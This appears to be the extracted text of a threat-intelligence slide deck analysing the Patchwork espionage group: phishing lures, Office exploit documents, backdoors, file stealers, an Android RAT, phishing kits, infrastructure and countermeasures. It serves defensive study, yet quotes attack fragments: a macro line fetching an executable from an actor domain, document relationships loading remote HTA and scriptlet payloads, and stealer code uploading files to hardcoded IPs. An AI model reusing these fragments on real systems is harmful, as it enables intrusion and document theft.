

# Patchwork: from one malicious document to complete TTPs of a medium skilled threat actor

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### Outline

- History, previous research
- Beginning of the investigation
- Infection vectors
- Backdoors and remote access tools
- File stealers
- Phishing kits and credentials harvesting
- Overview of the infrastructure
- Targets and victims
- Countermeasures and defense



# **History and previous research**

- Research published under various names:
  - Patchwork / Monsoon / Dropping Elephant / APT-C-09
- Selected publications
  - Unveiling Patchwork, Cymmetria, Jul 2016
  - Monsoon Analysis of an APT Campaign, Forcepoint, Aug 2016
  - In-Depth Look at New Variant of MONSOON APT Backdoor, Fortinet, Apr 2017
  - 摩诃草APT团伙新脚本类攻击样本分析, Qihoo 360, Sep 2017
  - Untangling the Patchwork Cyberespionage Group, Trend Micro, Dec 2017



# **Beginning of the investigation**

- During our daily threat hunting routine, we discovered several delivery documents with untypical themes
- Lures to enable macros, downloads RAT
- Topics related to Bangladesh and Sri Lanka



Dim bStrm: Set bStrm = CreateObject("Adodb.Stream") xHttp.Open "GET", "<mark>http://clep-cn.org/202KSL.exe</mark>", False xHttp.Send



- Spear phishing emails
  - Contain links referring to weaponized document with macros or exploits
  - Sent via a legitimate mail distributing service YMLP or from own mail servers since September 2017
- Multiple methods to send the weaponized document:
  - document directly attached to email
  - direct link to the document in email
  - website redirecting to the malicious document



- Email subjects:
  - Geopolitics ("Entanglement: Chinese and Russian Perspectives on Non-nuclear Weapons and Nuclear Risks")
  - Military ("Have a look at Bangladesh Army News")
  - Current news ("Wang Qishan exposed. Scandal with Fan Bingbing")
- Sender address:
  - Before September 2017: spoofed or non-existent
  - From September 2017: domains owned by Patchwork, so probably valid e-mail addresses



- Example of links found in spear phishing mails:
  - http://www.ciis-cn.net/ciis/North-Korea-Missile.doc
    - Sometimes leads to opendir
  - http://www.cnaas.org/index.php?f=Asia-Policy.doc
    - Stopped using index.php redirector script after our blogpost got published
  - http://<IP address>/Attachments/d3VsZWIAamQuY29t.asp
    - Only seen PHP/ASP scripts redirectors a few times
  - Now: http://<domain>/<document>.docx
    - Back to the basics, no directories



</body></html>

1099

Example of the website redirecting to the malicious document





#### CVE-2012-1856

RTF files, drop various decoy documents related to China



#### Power and Order in the South China Sea

By Dr. Patrick M. Cronin

Despite numerous calls for a more cooperative relationship, U.S.-China ties appear to be on an increasingly competitive trajectory.<sup>1</sup> Nowhere has this seemed more apparent than in the South China Sea, where rising tensions have been sowing concern throughout Southeast Asia about the durability of order in the Asia-Pacific region.<sup>2</sup>

A defining moment in deteriorating relations occurred at the July 2010 Association of Southeast Asian Nation (ASEAN) Foreign Ministers' Meeting in Hanoi, when Secretary of State Hillary Clinton announced U.S. support for ensuring that territorial disputes were resolved amicably and fairly. "The United States," Secretary Clinton explained, "has a national interest in freedom of navigation, open access to Asia's maritime commons, and respect for international law in the South China Sea."<sup>3</sup> That prompted Chinese Foreign Minister Yang Jiechi to warn "outside powers" not to meddle, and then turn to Southeast Asian foreign ministers and declare: "China is a big country. And you are all small countries. And that is a fact."<sup>4</sup> U.S.-China relations have now become inseparable from the complex set of issues roiling the South China Sea. From the point

MICRO

CVF-2014-4114



CVE-2017-0199

Please click Enable Editing at the top and Slide Show for the display of graphics and media content

<?xml version="1.0" encoding="UTF-8" standalone="yes"? <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships" ><Relationship Id="rId3" Type="</pre>

http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="

http://ciis-cn.net/msofficeupdatenip.hta" TargetMode="External"/><Relationship Id="rId2" Type=" http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout" Target=

"../slideLayouts/slideLayout5.xml"/><Relationship Id="rId1" Type="

http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing" Target=

"../drawings/vmlDrawing1.vml"/><Relationship Id="rId4" Type="

http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target=

"../media/image1.wmf"/></Relationships>

#### CHINA STRATEGIC PERSPECTIVES 10

Chinese Military Reforms in the Age of Xi Jinping: Drivers, Challenges, and Implications by Joel Wuthnow and Phillip C. Saunders



Center for the Study of Chinese Military Affairs Institute for National Strategic Studies National Defense University



- Social engineering
- Lures victims to double click and execute payload

#### PROTECTED DOCUMENT

This document is protected by Microsoft Office and requires human verification. Please Enable Editing and Double Click below to prove that you are not a robot.

> China\_Maritime\_Power.docx Double Click here to Unlock Document

CANT? VIEW FOLLOW THE STEPS BELOW





CVE-2017-8570

scriptlet .sct file

empty .ppsx file

malicious link in slide1.xml.rels

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="
http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId3" Type="
http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target='script:http://brokings.org/stratchain.sct' TargetMode="External"/>
<Relationship Id="rId2" Type="
http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout1.xml"/>
```



CVE-2015-1641
 RTE files

Government of Pakistan Finance division (Regulations Wing)

No.F.4 (3) R-4/2011-Revision

Islamabad October 10, 2017

targeting Pakistan victims

Subject: REVISION OF ADHOC RELIEF ALLOWANCE - 2017 @ 15 % OF BASIC PAY TO THIS ECECUTIVE/SUPERVISORY STAFF OF AUTONOMOUS/ SEMI AUTONOMOUS BODIES, CORPORATIONS ETC.

Supply Chain Management

(Purchase - Coord)

#### Subject: - FREQUENT VIOLATION OF PPRA RULES - 2004

PPRA vide letter No 9-1/10-09/m&c/2017, dated 10-09-2017 has conveyed violation of PPRA Rule-13 by POF during the advertisement of tender Notice through E-mail on 08-09-2017 which does not comply with the following provisions of the PPRA - 2004:-

#### PPRA Rule 13 (1) (2)

"Requiring that response time of fifteen days for national competitive bidding and thirty days for international competitive bidding be allowed. The response time shall be calculated from the date of first publication of the advertisement in a newspaper or posting on the website as the case may be. - **Response time is less than the prescribed limits in the above referred notice**".



 Often open directories, which lead to even more documents and payloads

#### Index of /xinwen

| [ICO]     | Name                    | Last modified    | Size Description |
|-----------|-------------------------|------------------|------------------|
| PARENTDIR | Parent Directory        |                  | -                |
| []        | 15document.doc          | 2016-11-14 21:50 | 9.0K             |
| [IMG]     | <u>456.gif</u>          | 2015-11-18 19:19 | 1.1K             |
| []        | China Maritime Super>   | 2016-11-14 23:42 | 292K             |
| []        | China Power Report P>   | 2016-11-06 23:59 | 665K             |
| []        | China Power Report P.>  | 2016-11-06 23:59 | 8.0M             |
| []        | China US Strategy2.ppsx | 2016-11-03 23:38 | 1.2M             |
| []        | Power South China Se>   | 2016-11-10 20:36 | 793K             |
| []        | Trump Sex Report.ppsx   | 2016-11-08 22:14 | 1.6M             |
| []        | Trump SouthChina Sea>   | 2016-11-09 23:29 | 93K              |
| []        | Trump South China Se>   | 2016-11-09 21:45 | 654K             |
| []        | US China Startegy1.doc  | 2016-11-03 21:57 | 914K             |
| []        | US China Strategy3.doc  | 2016-11-03 22:02 | 914K             |
| []        | document.doc            | 2016-11-14 23:42 | 1.3M             |
| [IMG]     | korea.gif               | 2015-11-18 19:19 | 1.1K             |
| [IMG]     | <u>mi.gif</u>           | 2015-11-18 19:19 | 1.1K             |
| []        | trial1.doc              | 2016-11-07 02:23 | 9.5K             |

#### Index of /wd

| <u>Name</u>                     | Last modified                     | Size Description |
|---------------------------------|-----------------------------------|------------------|
| Parent Directory                |                                   | -                |
| Microsoft.Win32.TaskScheduler   | <mark>dll</mark> 2017-11-29 06:36 | 200K             |
| word.exe                        | 2017-11-29 04:54                  | 930K             |
| Apache/2.4.7 (Ubuntu) Server at | Port 80                           |                  |



xRAT (now renamed to QuasarRAT)

#### <sup>∞</sup>QuasarRAT

📀 build passing license MIT

Free, Open-Source Remote Administration Tool for Windows

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface, Quasar is the perfect remote administration solution for you.

#### Features

- TCP network stream (IPv4 & IPv6 support)
- Fast network serialization (NetSerializer)
- Compressed (QuickLZ) & Encrypted (AES-128) communication
- Multi-Threaded
- UPnP Support



- NDiskMonitor
  - Custom .NET backdoor
  - Commands:
    - cme-update exec command
    - dv list logical drives
    - rr list files and directories
    - ue download & execute
  - 4 random ASCII chars appended to the binary
    - => all hashes are different





- Socksbot
  - Backdoor with SOCKS proxy capabilities
  - C&C status code serves as a backdoor command
    - 200 start SOCKS proxy thread
    - 202 take screenshot and list running process
    - 203 activate backdoor
      - Write & execute EXE file
      - Write & execute powershell script
      - Write, execute and terminate

```
v19 = status code - 200;
if ( v19 )
  v20 = v19 - 2;
  if ( v20 )
    if ( v20 == 1 )
      status code 203(hSocket, v24);
  else
    status code 202(hSocket, v24);
else
  status code 200(hSocket, v24);
```



#### Badnews backdoor

- Hardcoded and encoded (sub 0x01) URL addresses with configuration
- Links to legitimate services like Github, feed43, webrss, wordpress, weebly...

..j.u.d.s....uid=....&u=.GetUserNameW....%04x...UNIC....?..&...=...i uuqt;00sbx/hjuivcvtfsdpoufou/dpn0bmgsffeopcfmj0uftusp0nbtufs0ynm/ynm...iuuq ;00gffe54/dpn06281594223137742/ynm..iuuq;00xxx/xfcstt/dpn0dsfbufgffe/qiq@gf feje>5::53...iuuqt;00cfdiftcfbvuff/xpseqsftt/dpn0...o.p.e.n....lfsofm43/e

| ADD ©  Key Hex • ff |  |  | <pre>iuuqt;00sbx/hjuivcvtfsdpoufou/dpn0bmgsffeopcfmj0uftusp0nbtufs0ynm/ynm<br/>iuuq;00gffe54/dpn06281594223137742/ynm<br/>iuuq;00xxx/xfcstt/dpn0dsfbufgffe/qiq@gffeje&gt;5::53<br/>iuuqt;00cfdiftcfbvuff/xpseqsftt/dpn0</pre> |  |  |   |  |                            |                 |              |                       |          |
|---------------------|--|--|---|--|--|---|--|----------------------------|-----------------|--------------|-----------------------|----------|
|                     |  |  |   |  |  | Output  |  | time:<br>length:<br>lines: | 1ms<br>195<br>1 | Save to file | 🍬 Move output to inpu | ut 🥱 Und |
|                     |  |  |   |  |  | <pre>https://raw.githubusercontent.com/alfreednobeli/testro/master/xml.xml http://feed43.com/5170483112026631.xml http://www.webrss.com /createfeed.php?feedid=49942 https://bechesbeautee.wordpress.com/</pre> |  |                            |                 |              |                       |          |



#### Badnews backdoor

Examples of encoded configuration on Github / Wordpress website

Secure https://raw.githubusercontent.com/alfreednobeli/testro/master/xml.xml ~ С <rss xmlns:blogChannel="http://backend.userland.com/blogChannelModule" version="2.0"> <channel> <title>good</title> <link>http://feeds.rapidfeeds.com/79167/</link> <atom:link xmlns:atom="http://www.w3.org/2005/Atom" rel="via" href="http://feeds.rapidfeeds.com/79167/" type="application/rss+xml"/> <atom:link xmlns:atom="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.rapidfeeds.com/79167/" type="application/rss+xml"/> <description> <![CDATA[ {{//mvbzGFk/mq2nGM2YzYwNTI0MjRlNjA1ZTU4NWU2MDU2NWE1ZTY0NTI1YzY0ZmU1MGZ1ZjhmNmYwZjBmMjQwZjRmYWYyNDI1OGZjNWM2NmYwYzhkoGYyZWVmMjQwZmVmZTYyZDJ1MmQyMw==}} 11> </description> <pubDate>Tue, 21 Jul 2015 05:03:09 EST</pubDate> <docs>http://backend.userland.com/rss</docs> <generator>RapidFeeds v2.0 -- http://www.rapidfeeds.com</generator> <language>en</language> </channel> </rss> Site Title Home About Contact

#### xciting

October 11, 2017

becnesbeautee

Leave a comment

wipego jormekhonso isazbti

{{MmVhZGFkMmQ2NGM2YzYwNTI0MjRlNjA1ZTU4NWU2MDU2NWE1ZTY0N T11YzY0ZmU1MGZlZjhmNmYwZjBmMjQwZjRmYWYyNDI1OGZjNWM2NmYwY zhkOGYyZWVmMjQwZmVmZTYyZDJ1MmQyMw==}}



- Badnews backdoor
  - Decryption
    - XOR & ROL

lpPayloadDecoded\_[v6++] = \_\_ROL1\_\_((v11 + 16 \* v9) ^ 0x23, 3);

- Newer versions (Nov 2017) use additional blowfish encryption
- Commands
- shell, link, mod, upd, dwd,
   kl, snp, ustr, sdwl, utop, hcmd

```
if ( !addr strstria(&pReceivedBuffer, "404 Not Found") )
  strcpy(Srch, "link:");
 v18 = addr strstria(&pReceivedBuffer, Srch);
 if (v18)
    v19 = v18 + 5;
    *a4 = 1:
   goto LABEL 54:
  strcpy(Srch, "shell:");
 v20 = addr strstria(&pReceivedBuffer, Srch);
 if ( v20 )
   v19 = v20 + 6;
    *a4 = 0:
    goto LABEL 54:
  strcpy(Srch, "mod:");
 v21 = addr strstria(&pReceivedBuffer, Srch);
 if ( v21 )
    v19 = v21 + 4;
    *a4 = 2;
   goto LABEL 54;
  strcpy(Srch, "upd:");
  v22 = addr_strstria(&pReceivedBuffer, Srch);
```

### **File stealers**

Taskhost stealer

```
private void RemoveResource(object sender, EventArgs e)
{
    this.Hide();
    this.ShowInTaskbar = false;
    this.windowID = Marshal.AllocHGlobal(this.windowID);
    this.CheckAction();
```

this.RemoveResource("\*.doc;\*.xls;\*.pdf;\*.ppt;\*.eml;\*.msg;\*.rtf;");

POST <a href="http://209.58.185.35/secure.php?drive=C-%SBFixed%5D&student\_name="http://secure.php?drive=C-%SBFixed%5D&student\_name="http://secure.php?drive=C-%SBFixed%5D&student\_name="http:/secure.php?drive=C-%

C-[Fixed]

POST http://209.58.185.35/secure.php?drive=C-%5BFixed%5D/Program%20Files/Debugging%20Tools%20for% Content-Type: multipart/form-data: boundary=rv5rgkit.0t3 Host: 209.58.185.35 Content-Length: 1196548 Expect: 100-continue --rv5rakit.0t3 content-Disposition: form-data; name="file";filename="kernel\_debugging\_tutorial.doc" Content-Type: application/msxls Content-Type: application/msword Content-Type: application/msppt Content-Type: application/pdf Content-Type: text/txt Content-Type: application/rtf Content-Type: image/jpeg Content-Type: application/zip Content-Type: application/ipd Content-Type: application/bbb Content-Type: application/x-rar-compressed Content\_Type: application/y\_7z\_compressed

| taskho    | st (1.0.0.0)   |  |  |  |  |  |  |  |
|-----------|--|--|--|--|--|--|--|--|
| 🔺 🔛 🛛 tas | taskhost.exe   |  |  |  |  |  |  |  |
| ▷ 💴       | PE   |  |  |  |  |  |  |  |
| Þ ∎-∎     | References   |  |  |  |  |  |  |  |
| ۵         | Resources  |  |  |  |  |  |  |  |
| ⊳{}       | -  |  |  |  |  |  |  |  |
| ▲ ()      | taskhost   |  |  |  |  |  |  |  |
| Þ         | 🝾 < <empty_name>&gt; @0200001D</empty_name>  |  |  |  |  |  |  |  |
| ⊳         | AssemblyInfoAttribute @02000003  |  |  |  |  |  |  |  |
| Þ         | 🔦 AssistantConverter @02000004   |  |  |  |  |  |  |  |
| Þ         | 🝾 ComponentLoader @0200000B  |  |  |  |  |  |  |  |
| Þ         | Solution Contemporary Contempor |  |  |  |  |  |  |  |
| Þ         | SockingPaneService @0200000E   |  |  |  |  |  |  |  |
| ⊳         | 🔩 DockingPaneStack @02000009   |  |  |  |  |  |  |  |
| Þ         | 🐾 Page @0200001A   |  |  |  |  |  |  |  |
| Þ         | 🔨 ReferenceInfo @0200000D  |  |  |  |  |  |  |  |
| Þ         | ServerOptions @02000005  |  |  |  |  |  |  |  |
| Þ         | 🔨 StubSettings @0200000F   |  |  |  |  |  |  |  |
| Þ         | VectorInvoker @02000011  |  |  |  |  |  |  |  |
| Þ         | 🝾 WindowDictionary @02000010   |  |  |  |  |  |  |  |
| ⊳{}       | taskhost.My  |  |  |  |  |  |  |  |
|           | ·  |  |  |  |  |  |  |  |
|           |  |  |  |  |  |  |  |  |

4



# **File stealers**

Wintel stealer

```
ţ
                                 ▲ 🗗
                                     Win Telephonic Services (2.1.2.1)
    "*.docx",
                                    Win Telephonic Services.exe
    "*.doc",
                                       D 🔛 PE
    "*.ppt",
                                       References
    "*.pptx",
                                       Resources
    "*.pps",
                                       ▶ {} -
    "*.xls",
                                      4 { } Wintel
    "*.xlsx",
    "*.pdf"
};
```

string left = this.we.DownloadString("http://179.48.251.4/php/load check.php?ussr=" + Convert.ToBase64String(Encoding.UTF8.GetBytes
 (MyProject.User.Name.Replace("\\", "-"))).ToString() + "&hsh=" + array[1]);



# **File stealers**

- Autolt stealers
  - Older versions of stealers

```
While 1
    __searchindex()
    Sleep(5000)
    __sendoutlist()
    Sleep(5000)
    InetGet($saydone, 1)
    WEnd
```

#### Func searchindex()

```
$alarray = filelisttoarrayrec("C:\\", "*.doc||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a2array = filelisttoarrayrec("C:\\", "*.docx||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a3array = _filelisttoarrayrec("C:\\", "*.pdf||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a4array = filelisttoarrayrec("C:\\", "*.ppt||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a5array = filelisttoarrayrec("C:\\", "*.pptx||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a6array = filelisttoarrayrec("C:\\", "*.xls||Windows", $fltar files, $fltar recur, $fltar sort, $fltar fullpath)
$a7array = _filelisttoarrayrec("C:\\", "*.xlsx||Windows", $fltar_files, $fltar_recur, $fltar_sort, $fltar_fullpath)
arrayconcatenate ($alarray, $a2array)
arrayconcatenate ($alarray, $a3array)
arrayconcatenate ($alarray, $a4array)
arrayconcatenate($a1array, $a5array)
arrayconcatenate ($alarray, $a6array)
arrayconcatenate ($alarray, $a7array)
$allfiles = UBound($alarray) - 1
For $i = 1 To $allfiles
    If FileExists($alarray[$i]) Then
        findhashedfile($alarray[$i])
    EndIf
Next
```

EndFunc



### **Android malware**

- AndroRAT has very recently seen being used
  - Gets generic information about the phone (manufacturer, build, ...)
  - Steals contacts, accounts, SMS, call logs, files
  - Gets geolocation information
  - Records camera and microphone
- Again a public malware, code is available on Github

```
public static void startRecording(final int n) throws Exception {
   final File cacheDir = MainService.getContextOfApplication().getCacheDir();
   try {
     Log.e("DIRR", cacheDir.getAbsolutePath());
     MicManager.audiofile = File.createTempFile("sound", ".mp3", cacheDir);
   }
}
```

```
if (jsonObject.getString("extra").equals("ls")) {
    ConnectionManager.x0000sm(0, null, null);
    return;
```

if (jsonObject.getString("extra").equals("sendSMS")) {
 ConnectionManager.x0000sm(1, jsonObject.getString("to"), jsonObject.getString("sms"));

# Phishing kits and credentials harvesting

- Websites used for credential harvesting
- URL with encoded parameters
  - u = user
  - r = referrer
  - d = domain
- Popular Chinese email providers
- Others exist for Gmail, Yahoo..

|   | ניין כלאנו   |
|---|--|
| 163 网易免费邮 《 mail.163.com  | 登录163免费邮箱  |
| 126 网易免费部<br>www.126.com  | user @163.com  |
| yeah.net  | 豆 水           □记住帐号         □SSL安全登录 ②         忘记密码? |
| <b>网易手机号码邮箱</b><br>SHOUJI.163.com   | 明確認本:<br>動推荐邮箱官方APP 下數使用・                            |
| A ALL AND A |  |



# Phishing kits and credentials harvesting

 Entered parameters sent unencrypted to the info gathering php script

| Body      |                     |
|-----------|---------------------|
| Name      | Value               |
| username  | user                |
| domain    | 163                 |
| red       | http://mial.163.com |
| password  | սսսսս               |
| btn-login |                     |



#### At least:

- 50 domains registered in 2016
- 47 domains registered in 2017
- 24 domains registered in 2018 (until now)
- 63 IP addresses used in 2017
- 38 IP addresses used in 2018 until now (of which 20 were new)



- Domain names similar to legitimate domain names
  - Similar to target domain name
    - aliexpress.com -> aliexprexx.net
  - Similar to geopolitics/think tank/strategy/military websites
    - ciis.org.cn -> ciis-cn.net
    - fpri.org -> fprii.net
  - Similar to existing webmails
    - netease.com -> neteease.com
    - mail.yahoo.com -> yahoomail.support
  - Generic domain names
    - stripshowsclub.com
    - servicelogin.center



Different kind of servers:

- C&C
- File hosting and distribution
- SMTP server
- Phishing website
- Redirection website



Apache on Windows or Linux (Ubuntu, CentOS, Debian...)



- Blogpost publication date: December 11<sup>th</sup> 2017
- IOC appendix contains 40 domain names and 10 IP addresses
- December 18<sup>th</sup> 2017: None of these domains resolves to an IP address anymore
- Within the next 3 months, 4 domains and 1 IP address have been reused





- B2C online retailers
- Telecommunication media
- Multiple high ranking military officers
- United Nations Development Program (UNDP)
- Diplomacy
- Banks, financial institutions
- Researchers and scholars in diplomacy/strategy/science

- Sometimes, the entity is targeted multiple times
  - One target got 34 spear phishing mails in 2017



# **Targeted countries**

- China
- Pakistan
- Bangladesh
- Sri Lanka
- Israel
- US
- Bahamas











# Links with Confucius APT group

- Some architecture (IPs) overlap with Confucius APT group
- Code similarities between NDiskMonitor and remote-accessc3 backdoor
  - The same backdoor commands (cme-update, etc...)
  - .NET vs C++
- Multiple samples of a custom Delphi backdoor and filestealer named "BioData" with C&C servers in both infrastructures
- Previous reports of both threat actors mention links with Hangover
- Pakistan is a target for both groups



## **Countermeasures and defense**

- Persistence mechanisms are extremely basic, so easy to spot
  - Entry in well-known "Run" registry key
  - LNK files in the current user startup directory
  - Addition of a scheduled task
- Keep in mind that multiple time delays are included (i.e sandbox evasion)
- Patchwork's weaponized documents are usually detected by generic signatures, as they use unmodified public exploit codes
- C&C domain list is not very large and can be blocked easily (no DGA)



### Conclusion

- Medium skilled threat actor
- Likely based in South Asia
- Relies solely on spear phishing
- Uses multiple freely available online tools and known exploits
- Persistently spams its targets unless infection successful
- Does not bother much with OPSEC
- Has infrastructure and code overlap with other APT groups: company renting its hacking services?





# **Any questions?**

